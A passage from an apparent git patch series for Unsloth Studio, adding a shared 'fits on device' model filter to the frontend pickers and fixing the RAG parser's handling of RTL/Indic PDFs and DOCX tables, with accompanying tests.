lm_head). Offloading " + "would strand the output projection on CPU and saves no VRAM. Set " + "offload_embedding = False for this model." + ) nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize ngb = round(nbytes / 1024 / 1024 / 1024, 2) print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.") + _embed_device = embed_tokens.weight.device # decoder device, before offload embed_tokens.to("cpu") - # Add hooks to move inputs to CPU and back to CUDA - # [TODO] Doesn't seem to work! - # def pre_hook(module, args): - # args[0]._old_device = args[0].device - # return (args[0].to("cpu", non_blocking = True)) - # def post_hook(module, args, output): - # old_device = getattr(args[0], "_old_device", "cuda") - # return output.to(old_device, non_blocking = True) - # embed_tokens.register_forward_pre_hook(pre_hook, prepend = True) - # embed_tokens.register_forward_hook (post_hook, prepend = True) + # Device-safe embedding offload. + _install_offload_embedding_hooks(embed_tokens, out_embed, _embed_device) # Must free GPU memory otherwise will not free! torch.cuda.empty_cache() gc.collect() From ac6ba96f9e21fb91f4d9a93bc31c0beb0feceafe Mon Sep 17 00:00:00 2001 From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com> Date: Thu, 2 Jul 2026 02:18:20 -0700 Subject: [PATCH 08/27] Add a fits-on-device filter to the model selects (#6802) * Add a shared fits-on-device filter to the model selects The chat model selector gains an Only show models that fit on this device tick under its filter row, and the Hub page gains a matching Fits device pill next to the sort menu. Both read one persisted preference (unsloth_models_fit_on_device_only), so toggling either applies to both. The filter reuses the Recommended sort's existing fit math, extracted into hfModelFitsDevice: size from safetensors metadata, GGUF param count, or the repo name, against the 0.7 GPU + 0.7 RAM budget, with unsizable models hidden. In the chat selector it extends the fit filtering to the Trending and Recent sorts and to search results; downloaded models stay visible regardless. An unknown device budget keeps everything. The preference is cleared by Reset all local preferences like the other picker toggles. * Move the device-fit toggle into the sort dropdowns * Tighten sort menu footer spacing and shorten the label * Align the footer checkbox with the option text * Make the footer checkbox circular with a smaller tick * Clear menu highlight when the pointer leaves the options * Address review: fit filter coverage and sizing Exempt on-disk models from the Hub fit filter, apply it to the feed trending rows and curated search results, size safetensors and MLX rows by the quantized load estimate instead of checkpoint bytes, and replace the native title hint with the app Tooltip. * Make the whole device-fit row toggle the filter --- .../assistant-ui/model-selector/pickers.tsx | 124 ++++++++++++------ .../model-selector/recommended-fit.ts | 32 +++++ .../chat/stores/chat-runtime-store.ts | 11 ++ .../features/hub/catalog/hub-option-menu.tsx | 36 ++++- .../features/hub/catalog/models-toolbar.tsx | 33 +++++ studio/frontend/src/features/hub/hub-page.tsx | 32 ++++- .../features/settings/tabs/general-tab.tsx | 1 + 7 files changed, 222 insertions(+), 47 deletions(-) diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx index e11a08f8ab..20000c82ee 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx +++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +import { Checkbox } from "@/components/ui/checkbox"; import { Input } from "@/components/ui/input"; import { Spinner } from "@/components/ui/spinner"; import { @@ -102,6 +103,7 @@ import { type FormatFilter, estimateQuantBytes, fitsDevice, + hfModelFitsDevice, isMlxId, isMobileVariant, isRecommendableFormat, @@ -1340,6 +1342,9 @@ export function HubModelPicker({ }, []); // When on, On Device GGUF repos show their quantizations without a click. const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations); + // Shared with the Hub page: list only models sized within the device budget. + const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly); + const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly); // Repos the user clicked to collapse while expand-by-default is on. Kept in // memory only, so it resets on reload (and when the setting is toggled). const [collapsedGguf, setCollapsedGguf] = useState>( @@ -1717,34 +1722,19 @@ export function HubModelPicker({ formatFilter === "all" ? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac)) : rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter)); - if (recommendedSort !== "recommended") return rows; + // The "recommended" sort always applies the device-fit filter; the shared + // "Fits on device" tick extends it to the other sorts too. + if (recommendedSort !== "recommended" && !fitOnDeviceOnly) return rows; return rows.filter((r) => { // Downloaded models always show, regardless of device fit. if (downloadedSet.has(r.id.toLowerCase())) return true; - // Unified-memory hosts (Mac / no discrete GPU) still report system RAM, - // so fall back to that budget instead of skipping the fit check entirely. - const hasDeviceBudget = - gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0; - if (!hasDeviceBudget) return true; - // GGUF/MLX repos rarely expose safetensors metadata, so fall back to the - // GGUF param count, then the repo name, for a size estimate. Anything we - // still cannot size is hidden (requireKnown) so over-budget models like a - // 1T GGUF don't slip into Recommended. - const params = r.totalParams ?? paramsFromId(r.id); - const sizeBytes = - r.estimatedSizeBytes ?? - (params ? estimateQuantBytes(params) : undefined); - return fitsDevice({ - sizeBytes, - gpuGb: gpu.memoryTotalGb, - systemRamGb: gpu.systemRamAvailableGb, - requireKnown: true, - }); + return hfModelFitsDevice(r, gpu); }); }, [ recommendedSearch.results, downloadedSet, recommendedSort, + fitOnDeviceOnly, formatFilter, isMac, gpu, @@ -1976,23 +1966,6 @@ export function HubModelPicker({ [visibleCachedModelRows], ); - // Recommended models that match the current search query - const filteredRecommendedIds = useMemo(() => { - if (!showHfSection) return []; - const q = normalizeForSearch(debouncedQuery.trim()); - return recommendedIds - .filter((id) => normalizeForSearch(id).includes(q)) - .filter((id) => - matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter), - ); - }, [ - showHfSection, - debouncedQuery, - recommendedIds, - formatFilter, - isKnownGgufRepo, - ]); - // Param counts come straight off the unsloth listings the picker already // loaded, so no extra per-id fetch is needed for the VRAM badges. const recommendedParamCountById = useMemo(() => { @@ -2003,6 +1976,42 @@ export function HubModelPicker({ return map; }, [results, recommendedSearch.results]); + // Recommended models that match the current search query + const filteredRecommendedIds = useMemo(() => { + if (!showHfSection) return []; + const q = normalizeForSearch(debouncedQuery.trim()); + return recommendedIds + .filter((id) => normalizeForSearch(id).includes(q)) + .filter((id) => + matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter), + ) + // Curated defaults obey the fit toggle like the live HF rows, else large + // defaults resurface in search results with the filter on. + .filter( + (id) => + !fitOnDeviceOnly || + downloadedSet.has(id.toLowerCase()) || + hfModelFitsDevice( + { + id, + totalParams: recommendedParamCountById.get(id), + isGguf: isKnownGgufRepo(id), + }, + gpu, + ), + ); + }, [ + showHfSection, + debouncedQuery, + recommendedIds, + formatFilter, + isKnownGgufRepo, + fitOnDeviceOnly, + downloadedSet, + recommendedParamCountById, + gpu, + ]); + const recommendedSet = useMemo( () => new Set(filteredRecommendedIds), [filteredRecommendedIds], @@ -2013,6 +2022,12 @@ export function HubModelPicker({ if (!showHfSection || section !== "recommended") return []; return results .filter(isChatSupported) + .filter( + (r) => + !fitOnDeviceOnly || + downloadedSet.has(r.id.toLowerCase()) || + hfModelFitsDevice(r, gpu), + ) .map((result) => result.id) .filter((id) => !isHiddenModelId(id)) .filter((id) => id.toLowerCase().startsWith("unsloth/")) @@ -2035,6 +2050,9 @@ export function HubModelPicker({ isKnownGgufRepo, isChatSupported, formatFilter, + fitOnDeviceOnly, + downloadedSet, + gpu, isMac, ]); @@ -2323,6 +2341,35 @@ export function HubModelPicker({ // selected-item checkmark never overlaps the label. const sortMenuContentClassName = "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]"; + // Device-fit toggle lives inside the sort menu (shared with the Hub page). + // The whole row is the click target (a button): a Checkbox renders as a + // + + + Hides models larger than this device's memory budget. Downloaded models + stay visible. + + + ); const sectionSortDropdown = section === "recommended" ? ( ) : section === "downloaded" ? ( ) : ( ); diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts index 24f0edc784..7c2ed266c0 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts +++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts @@ -114,3 +114,35 @@ export function fitsDevice(opts: { } return requireKnown ? false : true; } + +/** Fit predicate for one Hub listing row, shared by the chat model selector + * and the Hub page "Fits on device" filter. GGUF repos: metadata size (actual + * weights) or the smallest-quant estimate from the param count. Safetensors / + * MLX repos: always the params-based smallest-quant estimate, matching the + * VRAM badge's quantized-load assumption; their estimatedSizeBytes is the + * full-precision checkpoint and would wrongly hide models the quantized load + * path can run. Anything unsizable is hidden (requireKnown) so over-budget + * models with no metadata don't slip through. An unknown device budget keeps + * everything. */ +export function hfModelFitsDevice( + model: { + id: string; + totalParams?: number; + estimatedSizeBytes?: number; + isGguf?: boolean; + }, + gpu: { memoryTotalGb: number; systemRamAvailableGb: number }, +): boolean { + if (gpu.memoryTotalGb <= 0 && gpu.systemRamAvailableGb <= 0) return true; + const params = model.totalParams ?? paramsFromId(model.id); + const quantBytes = params ? estimateQuantBytes(params) : undefined; + const sizeBytes = isGgufId(model.id, model.isGguf) + ? (model.estimatedSizeBytes ?? quantBytes) + : (quantBytes ?? model.estimatedSizeBytes); + return fitsDevice({ + sizeBytes, + gpuGb: gpu.memoryTotalGb, + systemRamGb: gpu.systemRamAvailableGb, + requireKnown: true, + }); +} diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts index ca4bb7afde..7c9685d6d0 100644 --- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts +++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts @@ -42,6 +42,8 @@ export const CHAT_EXPAND_QUANTIZATIONS_KEY = "unsloth_chat_expand_quantizations"; export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY = "unsloth_chat_show_all_quantizations"; +export const MODELS_FIT_ON_DEVICE_ONLY_KEY = + "unsloth_models_fit_on_device_only"; export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions"; export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY = "unsloth_chat_web_fetch_tools_enabled"; @@ -671,6 +673,9 @@ type ChatRuntimeStore = { expandQuantizations: boolean; /** Persisted: show non-downloaded quantizations too, not just downloaded. */ showAllQuantizations: boolean; + /** Persisted, shared by the chat model selector and the Hub page: list only + * models whose size fits this device's memory budget. */ + fitOnDeviceOnly: boolean; /** A local model picked while `loadOnSelection` is off: staged, not loaded. * The settings sheet shows its load knobs and a Load button. */ pendingSelection: PendingModelSelection | null; @@ -793,6 +798,7 @@ type ChatRuntimeStore = { setLoadOnSelection: (value: boolean) => void; setExpandQuantizations: (value: boolean) => void; setShowAllQuantizations: (value: boolean) => void; + setFitOnDeviceOnly: (value: boolean) => void; setPendingSelection: (selection: PendingModelSelection | null) => void; /** Stage a pick for a deferred load: revert knobs to the loaded baseline, * record the selection, and open the settings sheet. */ @@ -1111,6 +1117,7 @@ export const useChatRuntimeStore = create((set, get) => ({ loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true), expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false), showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true), + fitOnDeviceOnly: loadBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, false), pendingSelection: null, loadedIsMultimodal: false, loadedIsDiffusion: false, @@ -1582,6 +1589,10 @@ export const useChatRuntimeStore = create((set, get) => ({ saveBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, showAllQuantizations); set({ showAllQuantizations }); }, + setFitOnDeviceOnly: (fitOnDeviceOnly) => { + saveBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, fitOnDeviceOnly); + set({ fitOnDeviceOnly }); + }, setPendingSelection: (pendingSelection) => set({ pendingSelection }), stageModel: (selection) => { // Refuse staging mid-load: post-load cleanup would silently drop the queued diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx index 7895a89254..38464d36e4 100644 --- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx +++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx @@ -38,6 +38,7 @@ export function HubOptionMenu({ showChevron = true, title, triggerContent, + footer, }: { value: T; options: readonly HubOption[]; @@ -49,9 +50,12 @@ export function HubOptionMenu({ showChevron?: boolean; title?: string; triggerContent?: ReactNode; + /** Rendered under the options behind a separator; clicks keep the menu open. */ + footer?: ReactNode; }) { const [open, setOpen] = useState(false); - const [activeIndex, setActiveIndex] = useState(0); + // -1 = nothing highlighted (no hover, no keyboard nav yet). + const [activeIndex, setActiveIndex] = useState(-1); const triggerRef = useRef(null); const listboxRef = useRef(null); const idBase = useId(); @@ -63,9 +67,9 @@ export function HubOptionMenu({ }, [options, value]); const selected = options[selectedIndex]; const resolvedActiveIndex = - options.length === 0 + options.length === 0 || activeIndex < 0 ? -1 - : Math.min(Math.max(activeIndex, 0), options.length - 1); + : Math.min(activeIndex, options.length - 1); const activeOptionId = resolvedActiveIndex >= 0 ? `${idBase}-option-${resolvedActiveIndex}` : undefined; @@ -92,11 +96,13 @@ export function HubOptionMenu({ (nextOpen: boolean) => { setOpen(nextOpen); if (nextOpen) { - activateIndex(selectedIndex); + // Nothing highlighted until the user hovers or uses the keyboard; + // keyboard nav anchors on the selected option (handleContentKeyDown). + activateIndex(-1); requestAnimationFrame(() => listboxRef.current?.focus()); } }, - [activateIndex, selectedIndex], + [activateIndex], ); const handleContentKeyDown = useCallback( @@ -112,12 +118,21 @@ export function HubOptionMenu({ } if (event.key === "ArrowDown") { event.preventDefault(); - setActiveIndex((currentIndex + 1) % options.length); + // First arrow press highlights the selected option, then steps. + setActiveIndex( + resolvedActiveIndex < 0 + ? selectedIndex + : (currentIndex + 1) % options.length, + ); return; } if (event.key === "ArrowUp") { event.preventDefault(); - setActiveIndex((currentIndex - 1 + options.length) % options.length); + setActiveIndex( + resolvedActiveIndex < 0 + ? selectedIndex + : (currentIndex - 1 + options.length) % options.length, + ); return; } if (event.key === "Home") { @@ -197,6 +212,7 @@ export function HubOptionMenu({ aria-activedescendant={activeOptionId} tabIndex={0} onKeyDown={handleContentKeyDown} + onPointerLeave={() => activateIndex(-1)} className="outline-none" > {options.map((option, index) => { @@ -235,6 +251,12 @@ export function HubOptionMenu({ ); })}
+ {footer && ( + // -mt-3 cancels the surface's 16px flex gap down to 4px. No side + // padding: the footer label carries the same padding as the options + // so its checkbox lines up with the option text. +
{footer}
+ )} ); diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx index 48f7fcffaa..7c08c9c486 100644 --- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx +++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +import { Checkbox } from "@/components/ui/checkbox"; import { Input } from "@/components/ui/input"; import { Spinner } from "@/components/ui/spinner"; import { @@ -68,6 +69,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({ onFormatFilterChange, capabilityFilter, onCapabilityFilterChange, + fitOnDeviceOnly, + onFitOnDeviceOnlyChange, onManageLocalFolders, onOpenFineTune, }: { @@ -84,6 +87,9 @@ export const ModelsToolbar = memo(function ModelsToolbar({ onFormatFilterChange: (value: ModelFormatFilter) => void; capabilityFilter: CapabilityFilter; onCapabilityFilterChange: (value: CapabilityFilter) => void; + /** Shared with the chat model selector: hide models over the device budget. */ + fitOnDeviceOnly: boolean; + onFitOnDeviceOnlyChange: (value: boolean) => void; onManageLocalFolders: () => void; /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a * format-dropdown option rather than a standalone feed section. */ @@ -350,6 +356,33 @@ export const ModelsToolbar = memo(function ModelsToolbar({ onValueChange={onSortChange} ariaLabel="Sort models" className={cn(triggerBase, "w-[128px]")} + footer={ + isDataset ? undefined : ( + + + + + + Hides models larger than this device's memory budget. + Downloaded models stay visible. + + + ) + } /> )} diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx index c696862283..56aa07335d 100644 --- a/studio/frontend/src/features/hub/hub-page.tsx +++ b/studio/frontend/src/features/hub/hub-page.tsx @@ -5,6 +5,7 @@ import { loadRememberedLoadSettings, rememberedLoadSettingsKey, } from "@/components/assistant-ui/model-selector/remembered-load-settings"; +import { hfModelFitsDevice } from "@/components/assistant-ui/model-selector/recommended-fit"; import { useHubInventory } from "@/features/hub/inventory"; import { useDebouncedValue } from "@/hooks/use-debounced-value"; import { useGpuInfo } from "@/hooks/use-gpu-info"; @@ -327,6 +328,9 @@ export function ModelsPage() { const activeCheckpoint = checkpoint && !isExternalModelId(checkpoint) ? checkpoint : null; const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant); + // Shared with the chat model selector: list only models sized for this device. + const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly); + const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly); useEffect(() => { let cancelled = false; @@ -697,7 +701,12 @@ export function ModelsPage() { !isHiddenModelId(row.id) && matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) && matchesCapability(row.capabilities, deferredCapabilityFilter) && - (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)), + (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) && + // Models already on disk stay visible regardless of device fit, + // matching the chat model selector. + (!fitOnDeviceOnly || + row.isAvailableOnDevice || + hfModelFitsDevice(row.result, gpu)), ); }, [ discoverRows, @@ -705,6 +714,8 @@ export function ModelsPage() { effectiveDiscoverFormat, deferredCapabilityFilter, activeChannel, + fitOnDeviceOnly, + gpu, ]); const listRows = filteredDiscoverRows; @@ -724,8 +735,21 @@ export function ModelsPage() { effectiveLocalRows, ) .filter((row) => !isHiddenModelId(row.id)) - .filter((row) => matchesFormat(row.result.isGguf, "gguf")), - [hubFeed.trending.results, modelDiscoveryInventorySignature], + .filter((row) => matchesFormat(row.result.isGguf, "gguf")) + // Same fit filter as the main Discover list, so the feed carousel + // honors the toggle too. + .filter( + (row) => + !fitOnDeviceOnly || + row.isAvailableOnDevice || + hfModelFitsDevice(row.result, gpu), + ), + [ + hubFeed.trending.results, + modelDiscoveryInventorySignature, + fitOnDeviceOnly, + gpu, + ], ); const feedRows = useMemo(() => { if (!isFeedMode) return []; @@ -1448,6 +1472,8 @@ export function ModelsPage() { onFormatFilterChange={setFormatFilter} capabilityFilter={capabilityFilter} onCapabilityFilterChange={setCapabilityFilter} + fitOnDeviceOnly={fitOnDeviceOnly} + onFitOnDeviceOnlyChange={setFitOnDeviceOnly} onManageLocalFolders={handleManageLocalFolders} onOpenFineTune={() => handleOpenList("finetune")} /> diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index 247d5040fb..4e02f7f14f 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -81,6 +81,7 @@ const PREFS_KEYS: string[] = [ "unsloth_chat_load_on_selection", "unsloth_chat_expand_quantizations", "unsloth_chat_show_all_quantizations", + "unsloth_models_fit_on_device_only", // Chat presets "unsloth_chat_custom_presets", "unsloth_chat_active_preset", From 62e96442665892dc8d06084731dc700573af0f28 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 2 Jul 2026 03:38:48 -0700 Subject: [PATCH 09/27] Studio RAG: fix RTL/Indic PDF corruption and dropped DOCX tables (#6780) * Studio RAG: fix RTL/Indic PDF corruption and dropped DOCX tables The RAG parser prefers pymupdf4llm.to_markdown for PDFs, but that rebuilds text from positioned glyphs and mangles complex-shaping scripts (RTL Arabic/Hebrew come back as shaped Presentation Forms, Indic matras drop to U+FFFD) and can silently drop most of a heavy-RTL page. _pdf now compares the Markdown against PyMuPDF's logical-order get_text() per page and falls back to it when the Markdown looks corrupted (shaped Presentation Forms or U+FFFD above a small floor/ratio) or holds far fewer letters than the raw layer. Latin PDFs are unaffected and keep their Markdown tables/headings. _docx walked document.paragraphs, which excludes table cells, so DOCX tables were dropped entirely. It now walks body content in document order via iter_inner_content, emitting each table row as pipe-joined cells (deduped across merged cells); the preview locator already anchors on pipes. Adds parser tests for the corruption and incompleteness fallbacks and for DOCX table extraction. These mirror the chat document-extractor guard raised in the unslothai/ unsloth#5351 review; the RAG parser is a separate module and needed its own fix. * RAG DOCX: keep empty table cells and collapse in-cell newlines Skipping empty cells shifted later cells left and broke column alignment across rows; a cell with internal paragraphs (newlines) also broke the pipe-joined row. Keep every cell (dropping the row only when all are empty) and normalize each cell with " ".join(split()) so multi-paragraph cells stay on one row. Adds a test for both. * RAG DOCX: dedup merged table cells on the element directly Store the shared lxml element in the seen set instead of its id(); it is hashable and compares by the underlying node, so it dedups spanned/merged cells the same way without relying on id(). Adds a merged-cell test. * RAG DOCX: align merged cells, pad skipped grid columns, flatten nested tables * RAG DOCX: walk cells in document order so nested tables keep in-cell position * RAG DOCX: dedup vertically merged cells so a spanning label is indexed once --------- Co-authored-by: danielhanchen Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> --- studio/backend/core/rag/parsers.py | 103 ++++++++++- studio/backend/tests/test_rag_parsing.py | 209 +++++++++++++++++++++++ 2 files changed, 307 insertions(+), 5 deletions(-) diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py index ba248cf9a6..9afddf1d9e 100644 --- a/studio/backend/core/rag/parsers.py +++ b/studio/backend/core/rag/parsers.py @@ -12,6 +12,7 @@ from __future__ import annotations import logging import os +import re from dataclasses import dataclass from html.parser import HTMLParser @@ -69,6 +70,39 @@ def _html(raw: str) -> list[Page]: return [_page("\n".join(parser.out), 1)] +# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping +# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to +# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these +# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat +# extractor guard (unslothai/unsloth#5351 review). +_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]") +_PDF_FALLBACK_MIN_BAD_GLYPHS = 5 +_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005 +_PDF_INCOMPLETE_RATIO = 0.75 +_PDF_INCOMPLETE_MIN_LETTERS = 200 + + +def _markdown_corrupted(text: str) -> bool: + """True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL + Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone + legitimate shaped glyph does not force the fallback).""" + if not text: + return False + threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text)) + shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text)) + return shaped > threshold or text.count("\ufffd") > threshold + + +def _markdown_incomplete(markdown: str, plain: str) -> bool: + """True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a + coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs.""" + plain_letters = sum(1 for c in plain if c.isalnum()) + if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS: + return False + markdown_letters = sum(1 for c in markdown if c.isalnum()) + return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters + + def _pdf_markdown(doc) -> list[str] | None: """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index i maps to page i+1. Returns None when the lib is missing, extraction fails, or the @@ -100,9 +134,19 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]: try: md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None for i, page in enumerate(doc): - # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval); - # fall back to plain text when Markdown is off, unavailable, or empty here. - text = (md[i] if md else "") or page.get_text("text") or "" + plain = page.get_text("text") or "" + candidate = md[i] if md else "" + # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval), + # but drop to PyMuPDF's logical-order text when Markdown is off/empty or when + # pymupdf4llm mangled it (RTL/Indic) or dropped most of the page. + if ( + candidate + and not _markdown_corrupted(candidate) + and not _markdown_incomplete(candidate, plain) + ): + text = candidate + else: + text = plain pages.append(_page(text, i + 1)) if want_images: for img in page.get_images(full = True): @@ -308,12 +352,61 @@ def render_pdf_pages( doc.close() +def _docx_table_rows(table) -> list[str]: + """Each row as pipe-joined cell text (the locator splits anchors on pipes). + Columns stay aligned to the layout grid (merged cells fill their spanned slots, + skipped leading/trailing grid columns become empty fields). Cells are walked in + document order so a nested table, and any text after it, flattens in place.""" + from docx.table import Table + from docx.text.paragraph import Paragraph + + rows: list[str] = [] + seen: set = set() # already emitted; dedups merges spanning columns or rows + for row in table.rows: + cells: list[str] = [""] * getattr(row, "grid_cols_before", 0) + trailing: list[str] = [] # nested rows + any post-nested text, kept in order + for cell in row.cells: + # A merged cell shares one across the columns and rows it spans: + # emit its text once, then placeholders, so columns and rows stay aligned. + if cell._tc in seen: + cells.append("") + continue + seen.add(cell._tc) + # Paragraph text before the first nested table is the aligned field; the + # nested table and anything after it flatten below the row, in order. + field: list[str] = [] + after_table = False + for item in cell.iter_inner_content(): + if isinstance(item, Table): + after_table = True + trailing.extend(_docx_table_rows(item)) + elif isinstance(item, Paragraph): + text = " ".join(item.text.split()) # collapse in-cell newlines + if text: + (trailing if after_table else field).append(text) + cells.append(" ".join(field)) # empty cells kept so columns line up + cells.extend([""] * getattr(row, "grid_cols_after", 0)) + if any(c.strip() for c in cells): + rows.append(" | ".join(cells)) + rows.extend(trailing) + return rows + + def _docx(path: str) -> list[Page]: import docx + from docx.table import Table + from docx.text.paragraph import Paragraph document = docx.Document(path) - text = "\n".join(p.text for p in document.paragraphs) - return [_page(text, None)] + lines: list[str] = [] + # Walk body content in document order: paragraphs alone drop tables entirely. + for block in document.iter_inner_content(): + if isinstance(block, Paragraph): + if block.text.strip(): + lines.append(block.text) + elif isinstance(block, Table): + lines.extend(_docx_table_rows(block)) + return [_page("\n".join(lines), None)] def parse(path: str, *, want_images: bool = False): diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py index 4c46f49495..14ab0efe2e 100644 --- a/studio/backend/tests/test_rag_parsing.py +++ b/studio/backend/tests/test_rag_parsing.py @@ -86,3 +86,212 @@ def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch): _table_pdf(pdf) pages = parsers.parse(str(pdf)) assert pages and "Quarter" in pages[0].text + + +def _long_text_pdf(path): + import pymupdf + + doc = pymupdf.open() + page = doc.new_page() + body = "The quick brown fox jumps over the lazy dog. " * 12 # >200 letters + page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), body, fontsize = 11) + doc.save(str(path)) + doc.close() + + +def test_pdf_markdown_corruption_falls_back_to_plain(tmp_path, monkeypatch): + # pymupdf4llm can emit shaped RTL Presentation Forms for Arabic/Hebrew; the parser + # detects that and uses PyMuPDF's logical-order text instead of the mangled Markdown. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + shaped = "".join(chr(c) for c in range(0xFE8D, 0xFEA0)) * 20 # heavy shaped forms + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: [shaped] * doc.page_count) + pdf = tmp_path / "table.pdf" + _table_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "Quarter" in text # real logical-order text recovered + assert not parsers._markdown_corrupted(text) # shaped garbage not carried through + + +def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch): + # If pymupdf4llm silently drops most of a page, the parser prefers the fuller raw layer. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: ["x"] * doc.page_count) + pdf = tmp_path / "long.pdf" + _long_text_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "quick brown fox" in text # fuller raw layer used, not the near-empty Markdown + + +def _docx_with_table(path): + import docx + + document = docx.Document() + document.add_paragraph("Intro before table.") + table = document.add_table(rows = 2, cols = 2) + table.cell(0, 0).text = "NAME" + table.cell(0, 1).text = "SCORE" + table.cell(1, 0).text = "Alice" + table.cell(1, 1).text = "97pts" + document.add_paragraph("Outro after table.") + document.save(str(path)) + + +def test_docx_extracts_table_cells(tmp_path): + # document.paragraphs alone drops tables; the parser walks body content in order so + # table cells survive (pipe-joined, which the preview locator anchors on). + pytest.importorskip("docx") + from core.rag import parsers + + docx_path = tmp_path / "t.docx" + _docx_with_table(docx_path) + text = "\n".join(p.text for p in parsers.parse(str(docx_path))) + assert all(v in text for v in ("NAME", "SCORE", "Alice", "97pts")) # cells kept + assert "Alice | 97pts" in text # row cells joined + assert text.index("Intro") < text.index("NAME") < text.index("Outro") # order kept + + +def test_docx_table_keeps_columns_and_collapses_cell_newlines(tmp_path): + # Empty cells are kept (so columns stay aligned across rows) and a cell's internal + # newlines are collapsed to spaces (so a multi-paragraph cell can't break the row). + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 